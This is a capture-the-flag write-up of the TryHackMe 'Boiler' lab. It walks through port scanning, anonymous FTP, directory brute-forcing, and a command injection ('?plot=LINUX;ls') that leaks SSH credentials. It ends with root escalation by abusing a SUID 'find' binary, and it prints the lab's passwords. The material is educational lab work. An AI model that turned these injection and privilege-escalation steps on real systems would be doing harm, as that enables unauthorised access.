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CTF-Writeups/TryHackMe/Boiler.md

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2020-11-08 20:14:36 +00:00
# TryHackMe-Boiler CTF
## NMAP
```
Host is up (0.15s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.14.3.143
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
10000/tcp open http MiniServ 1.930 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
55007/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e3:ab:e1:39:2d:95:eb:13:55:16:d6:ce:8d:f9:11:e5 (RSA)
| 256 ae:de:f2:bb:b7:8a:00:70:20:74:56:76:25:c0:df:38 (ECDSA)
|_ 256 25:25:83:f2:a7:75:8a:a0:46:b2:12:70:04:68:5c:cb (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https
```
## PORT 21 (FTP)
So `anonymous` login is allowed on ftp so ,
```
root@kali:~/TryHackMe/Medium/BoilerCTF# ftp 10.10.214.74
Connected to 10.10.214.74.
220 (vsFTPd 3.0.3)
Name (10.10.214.74:root): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 Aug 22 2019 .
drwxr-xr-x 2 ftp ftp 4096 Aug 22 2019 ..
-rw-r--r-- 1 ftp ftp 74 Aug 21 2019 .info.txt
226 Directory send OK.
ftp> get .info.txt
local: .info.txt remote: .info.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for .info.txt (74 bytes).
226 Transfer complete.
74 bytes received in 0.00 secs (587.5254 kB/s)
ftp>
```
We find a hidden file named `info.txt`
This is the content of the file
```
hfg jnagrq gb frr vs lbh svaq vg. Yby. Erzrzore: Rahzrengvba vf gur xrl!
```
<img src="https://imgur.com/nTfXRPJ.png"/>
Well this is a rabbit hole but so lets enumerate other ports .
## PORT 80 (HTTP)
We get a deafult apache web page
<img src="https://imgur.com/gFqIWoq.png"/>
But it's good to always view the source page and since nmap showed us that there is `robots.txt` so lets look for it
<img src="https://imgur.com/jSH9tP7.png"/>
There wasn't anything useful in the source code of web page.
Running gobuster we found some directories
```
root@kali:~/TryHackMe/Medium/BoilerCTF# gobuster dir -u http://10.10.214.74/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.214.74/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/11/08 23:32:44 Starting gobuster
===============================================================
/manual (Status: 301)
/joomla (Status: 301)
```
I ran gobuster on `/joomla`
```
root@kali:~/TryHackMe/Medium/BoilerCTF# gobuster dir -u http://10.10.214.74/joomla -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.214.74/joomla
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/11/08 23:35:14 Starting gobuster
===============================================================
/images (Status: 301)
/media (Status: 301)
/templates (Status: 301)
/modules (Status: 301)
/tests (Status: 301)
/bin (Status: 301)
/plugins (Status: 301)
/includes (Status: 301)
/language (Status: 301)
/components (Status: 301)
/cache (Status: 301)
/libraries (Status: 301)
/installation (Status: 301)
/build (Status: 301)
/tmp (Status: 301)
/layouts (Status: 301)
/administrator (Status: 301)
```
I kept this brute force ruuning in the background and focused on enumurating other stuff ,`/administrator` presented us a login page
<img src="https://imgur.com/kDz7kyw.png"/>
## PORT 10000 (HTTPS)
There is a login page by the name of `webmin` but by answering the question on the room it doesn't seen that we
<img src="https://imgur.com/m21Vrx3.png"/>
## Coming back to PORT 80
I saw that my gobuster reutrned some more directories
```
/cli (Status: 301)
/_files (Status: 301)
```
`/cli` was empty but `/_files` was interesting
<img src="https://imgur.com/SsPdcri.png"/>
This time I used `ciphey` if you want to install this https://github.com/Ciphey/Ciphey , and this was nothing but a rabbithole again :D
```
root@kali:~/TryHackMe/Medium/BoilerCTF# ciphey -t VjJodmNITnBaU0JrWVdsemVRbz0K
Result 'Whopsie daisy\n' (y/N): y
Format used:
base64
utf8
base64
utf8
Final result: "Whopsie daisy"
```
I again run directory bruteforcing through `big.txt`
```
=============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.214.74/joomla
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/11/09 00:37:20 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/_archive (Status: 301)
/_database (Status: 301)
/_files (Status: 301)
/_test (Status: 301)
/administrator (Status: 301)
/bin (Status: 301)
/build (Status: 301)
/cache (Status: 301)
/cli (Status: 301)
/components (Status: 301)
/images (Status: 301)
/includes (Status: 301)
/language (Status: 301)
/layouts (Status: 301)
/libraries (Status: 301)
/media (Status: 301)
/modules (Status: 301)
/plugins (Status: 301)
/robots.txt (Status: 200)
```
And this time found archive,test,files so lets visit that
<img src="https://imgur.com/i58lDNP.png"/>
On this page run commands like this `?plot=LINUX;ls` this will show the files in that directory and we can read `log.txt`
From that file we can find ssh credentials
```
basterd:superduperp@$$
```
## PORT 55007 (SSH)
<img src="https://imgur.com/NpbyE0y.png"/>
On viewing `backup.sh` we can find `stoner`'s password `superduperp@$$no1knows`
<img src="https://imgur.com/QPwReOp.png"/>
Checking for SUID we found
```
stoner@Vulnerable:/home/basterd$ find / -perm /4000 2>/dev/null
/bin/su
/bin/fusermount
/bin/umount
/bin/mount
/bin/ping6
/bin/ping
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/apache2/suexec-custom
/usr/lib/apache2/suexec-pristine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/newgidmap
/usr/bin/find
/usr/bin/at
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/newuidmap
```
`find` can be used to privesc so, first I tried to give `/bin/bash` SUID but it failed then I put `stoner` in sudoers and then it got executed then switched to `stoner` again and then we can execute `bash` as `root`
```
stoner@Vulnerable:/home/basterd$ find . -exec chmod+s /bin/bash
find: missing argument to `-exec'
stoner@Vulnerable:/home/basterd$ find . -exec usermod -aG sudo stoner \;
stoner@Vulnerable:/home/basterd$ sudo bash
[sudo] password for stoner:
Sorry, try again.
[sudo] password for stoner:
Sorry, user stoner is not allowed to execute '/bin/bash' as root on Vulnerable.
stoner@Vulnerable:/home/basterd$ whoami
stoner
stoner@Vulnerable:/home/basterd$ sudo -l
User stoner may run the following commands on Vulnerable:
(root) NOPASSWD: /NotThisTime/MessinWithYa
stoner@Vulnerable:/home/basterd$ su stoner
Password:
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
stoner@Vulnerable:/home/basterd$ sudo bash
[sudo] password for stoner:
root@Vulnerable:/home/basterd#
```
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